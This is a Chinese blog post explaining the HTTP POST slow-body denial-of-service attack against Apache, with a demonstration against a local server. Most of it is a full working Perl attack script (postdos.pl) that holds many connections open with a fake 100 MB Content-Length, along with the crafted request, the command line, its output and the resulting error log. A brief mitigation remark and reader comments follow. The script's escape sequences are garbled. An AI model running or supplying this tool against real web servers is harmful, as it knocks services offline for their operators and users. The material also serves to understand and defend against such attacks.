Chinaunix首页 | 论坛 | 博客
  • 博客访问: 319788
  • 博文数量: 96
  • 博客积分: 230
  • 博客等级: 二等列兵
  • 技术积分: 722
  • 用 户 组: 普通用户
  • 注册时间: 2012-02-13 22:25
个人简介

心安处即吾乡!

文章分类

全部博文(96)

文章存档

2016年(1)

2014年(79)

2013年(7)

2012年(9)

我的朋友

分类: 网络与安全

2013-03-07 17:25:21

DDOS又称为分布式拒绝服务,全称是Distributed Denial of ServiceDDOS本是利用合理的请求造成资源过载,导致服务不可用。比如一个停车场共有100车位,当100车位都停满后,再有车想要停进来,就必须等待已有的车先出去才行。如果已有的车一直不出去,那么停车场的入口就会排气长队,停车场的负荷过载,不能正常工作了,这种情况就是拒绝服务

        常见的DDOS攻击有SYN floodUDP floodICMP flood等。其中SYN flood是一种最为经典的DDOS攻击。其利用的是TCP协议设计中的缺陷,属于网络层DDOS,此处先避开不谈。
        除了网络层DDOS外,还有应用层DDOS,前面谈过的Slowloris即是其中一种【http://blog.chinaunix.net/uid-26696966-id-3510191.html】,下面接着讨论另外一种应用层DDOS。
        在2010年的OWASP大会上,Wong Onn Chee和Tom Brennan演示了一种类似于Slowloris效果的攻击方法,作者称之为HTTP POST D.O.S。其原理是在发送HTTP POST包时,指定一个非常大的Content-Length值,然后以很低的速度发包,比如10~100s发一个字节,保持住这个连接不断开。这样当客户端连接数多了以后,占用住了Web Server的所有可用连接,从而导致DOS。
        首先构造一个大Content-Length值的完整请求:
         "POST / HTTP/1.1\r\n"
         "Host: host\r\n"
         "Connection: keep-alive\r\n"
         "Keep-Alive: 900\r\n"
         "Content-Length: 100000000\r\n"
         "Content-Type: application/x-www-form-urlencoded\r\n"
         "Accept: *.*\r\n"
         "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n\r\n";
        由于HTTP Requst Header中有设置Keep-Alive,且请求的Method为POST,故服务器在收到该请求后,会等待客户端发送POST数据,此时客户端再以很低的速度向服务器发送数据
        z
        当构造多个连接后,服务器的连接数很快就会达到上限。其核心代码置于文章底部,记为postdos.pl,下面开始使用该脚本工具演示如何使用POST DOS攻击使Web Server拒绝服务:

        一,准备工作

        1.在本机安装配置好Apache2.x,设置MaxClients为50

        2.在Browser中访问,结果显示正常

        3.下载或编写postdos.pl脚本
        二,开始阶段
        1.正式开始发送大Content-Length的完整请求,攻击Web Server使其拒绝服务。注:因此处我们已将Apache的MaxClients设置为50,故此处使用51个不完整连接已足够,另外,因为Keep-Alive时间为900,故两次发送POST数据的间隔时间timeout控制在小于900的范围即可。
        perl postdos.pl -dns 127.0.0.1 -timeout 200 -num 51
        Defaulting to port 80.
        Defaulting to a 5 second tcp connection timeout.
        Multithreading enabled.
        Connecting to 127.0.0.1:80 every 200 seconds with 51 sockets:
                    Building sockets.
                    Building sockets.
                    Sending data.
        Current stats: PostDos has now sent 275 packets successfully.
                    This thread now sleeping for 200 seconds...
                    Sending data.

        ......

        三,验证结果

        1.使用chrome或firefox并打开其debug工具,继续访问,则可发型在HttpRequest发出去后,HttpResponse一直没有收到,出于等待状态。
        2.成功实施攻击后会留下如下错误日志(Apache):
        [Thu Mar 07 16:55:40 2013] [error] server reached MaxClients setting, consider raising the MaxClients setting

        总结:由此可知,这种攻击的本质也是针对Apache的MaxClients限制的。要解决此类问题,可以使用Web应用防火墙,或者一个定制的Web Server安全模块。

        【注:本文引用了“白帽子讲Web安全”部分定义内容,postdos脚本如下】

点击(此处)折叠或打开

  1. #!/usr/bin/perl -w
  2. use strict;
  3. use IO::Socket::INET;
  4. use IO::Socket::SSL;
  5. use Getopt::Long;
  6. use Config;

  7. $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors

  8. my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
  9. my ( $cache, $ssl, $rand, $tcpto );
  10. my $result = GetOptions(
  11.     'shost=s' => $shost,
  12.     'dns=s' => $host,
  13.     'num=i' => $connections,
  14.     'cache' => $cache,
  15.     'port=i' => $port,
  16.     'https' => $ssl,
  17.     'tcpto=i' => $tcpto,
  18.     'test' => $test,
  19.     'timeout=i' => $timeout,
  20.     'version' => $version,
  21. );

  22. if ($version) {
  23.     print "Version 0.7n";
  24.     exit;
  25. }

  26. unless ($host) {
  27.     print "Usage:nntperl $0 -dns [] -optionsn";
  28.     print "ntType 'perldoc $0' for help with options.nn";
  29.     exit;
  30. }

  31. unless ($port) {
  32.     $port = 80;
  33.     print "Defaulting to port 80.n";
  34. }

  35. unless ($tcpto) {
  36.     $tcpto = 5;
  37.     print "Defaulting to a 5 second tcp connection timeout.n";
  38. }

  39. unless ($test) {
  40.     unless ($timeout) {
  41.         $timeout = 100;
  42.         print "Defaulting to a 100 second re-try timeout.n";
  43.     }
  44.     unless ($connections) {
  45.         $connections = 1000;
  46.         print "Defaulting to 1000 connections.n";
  47.     }
  48. }

  49. my $usemultithreading = 0;
  50. if ( $Config{usethreads} ) {
  51.     print "Multithreading enabled.n";
  52.     $usemultithreading = 1;
  53.     use threads;
  54.     use threads::shared;
  55. } else {
  56.     print "No multithreading capabilites found!n";
  57.     print "Slowloris will be slower than normal as a result.n";
  58. }

  59. my $packetcount : shared = 0;
  60. my $failed : shared = 0;
  61. my $connectioncount : shared = 0;

  62. srand() if ($cache);

  63. if ($shost) {
  64.     $sendhost = $shost;
  65. } else {
  66.     $sendhost = $host;
  67. }

  68. print "Connecting to $host:$port every $timeout seconds with $connections sockets:n";

  69. if ($usemultithreading) {
  70.     domultithreading($connections);
  71. } else {
  72.     doconnections( $connections, $usemultithreading );
  73. }


  74. sub doconnections {
  75.     my ( $num, $usemultithreading ) = @_;
  76.     my ( @first, @sock, @working );
  77.     my $failedconnections = 0;
  78.     $working[$_] = 0 foreach ( 1 .. $num ); #initializing
  79.     $first[$_] = 0 foreach ( 1 .. $num ); #initializing
  80.     while (1) {
  81.         $failedconnections = 0;
  82.         print "ttBuilding sockets.n";
  83.         foreach my $z ( 1 .. $num ) {
  84.             if ( $working[$z] == 0 ) {
  85.                 if ($ssl) {
  86.                     if (
  87.                         $sock[$z] = new IO::Socket::SSL(
  88.                             PeerAddr => "$host",
  89.                             PeerPort => "$port",
  90.                             Timeout => "$tcpto",
  91.                             Proto => "tcp",
  92.                         )
  93.                       )
  94.                     {
  95.                         $working[$z] = 1;
  96.                     }
  97.                     else {
  98.                         $working[$z] = 0;
  99.                     }
  100.                 }
  101.                 else {
  102.                     if (
  103.                         $sock[$z] = new IO::Socket::INET(
  104.                             PeerAddr => "$host",
  105.                             PeerPort => "$port",
  106.                             Timeout => "$tcpto",
  107.                             Proto => "tcp",
  108.                         )
  109.                       )
  110.                     {
  111.                         $working[$z] = 1;
  112.                         $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
  113.                     }
  114.                     else {
  115.                         $working[$z] = 0;
  116.                     }
  117.                 }
  118.                 if ( $working[$z] == 1 ) {
  119.                     if ($cache) {
  120.                         $rand = "?" . int( rand(99999999999999) );
  121.                     } else {
  122.                         $rand = "";
  123.                     }
  124.                     my $primarypayload =
  125.                         "POST /$rand HTTP/1.1rn"
  126.                       . "Host: $sendhostrn"
  127.                      . "Connection: keep-alivern"
  128.                      . "Keep-Alive: 900rn"
  129.                      . "Content-Length: 100000000rn"
  130.                      . "Content-Type: application/x-www-form-urlencodedrn"
  131.                      . "Accept: *.*rn"
  132.                       . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)rnrn";
  133.                     my $handle = $sock[$z];
  134.                     if ($handle) {
  135.                         print $handle "$primarypayload";
  136.                         if ( $SIG{__WARN__} ) {
  137.                             $working[$z] = 0;
  138.                             close $handle;
  139.                             $failed++;
  140.                             $failedconnections++;
  141.                         }
  142.                         else {
  143.                             $packetcount++;
  144.                             $working[$z] = 1;
  145.                         }
  146.                     }
  147.                     else {
  148.                         $working[$z] = 0;
  149.                         $failed++;
  150.                         $failedconnections++;
  151.                     }
  152.                 }
  153.                 else {
  154.                     $working[$z] = 0;
  155.                     $failed++;
  156.                     $failedconnections++;
  157.                 }
  158.             }
  159.         }
  160.         print "ttSending data.n";
  161.         foreach my $z ( 1 .. $num ) {
  162.             if ( $working[$z] == 1 ) {
  163.                 if ( $sock[$z] ) {
  164.                     my $handle = $sock[$z];
  165.                     if ( print $handle "z" ) {
  166.                         $working[$z] = 1;
  167.                         $packetcount++;
  168.                     }
  169.                     else {
  170.                         $working[$z] = 0;
  171.                         #debugging info
  172.                         $failed++;
  173.                         $failedconnections++;
  174.                     }
  175.                 }
  176.                 else {
  177.                     $working[$z] = 0;
  178.                     #debugging info
  179.                     $failed++;
  180.                     $failedconnections++;
  181.                 }
  182.             }
  183.         }
  184.         print "Current stats:tPostDos has now sent $packetcount packets successfully.n
  185.                 This thread now sleeping for $timeout seconds...nn";
  186.         sleep($timeout);
  187.     }
  188. }

  189. sub domultithreading {
  190.     my ($num) = @_;
  191.     my @thrs;
  192.     my $i = 0;
  193.     my $connectionsperthread = 50;
  194.     while ( $i < $num ) {
  195.         $thrs[$i] =
  196.           threads->create( &doconnections, $connectionsperthread, 1 );
  197.         $i += $connectionsperthread;
  198.     }
  199.     my @threadslist = threads->list();
  200.     while ( $#threadslist > 0 ) {
  201.         $failed = 0;
  202.     }
  203. }

  204. __END__


阅读(7246) | 评论(2) | 转发(4) |
给主人留下些什么吧!~~

ab4223813902013-05-15 16:27:03

博主,我在自己搭建的模拟环境中尝试了博文中描述的攻击方法,确实能够成功让服务器DOS。我想问下,这种攻击方法针对哪些版本的apache或者apache-tomcat服务器?有没有相关漏洞的信息,例如cve编号等等?

ab4223813902013-05-15 16:26:57

博主,我在自己搭建的模拟环境中尝试了博文中描述的攻击方法,确实能够成功让服务器DOS。我想问下,这种攻击方法针对哪些版本的apache或者apache-tomcat服务器?有没有相关漏洞的信息,例如cve编号等等?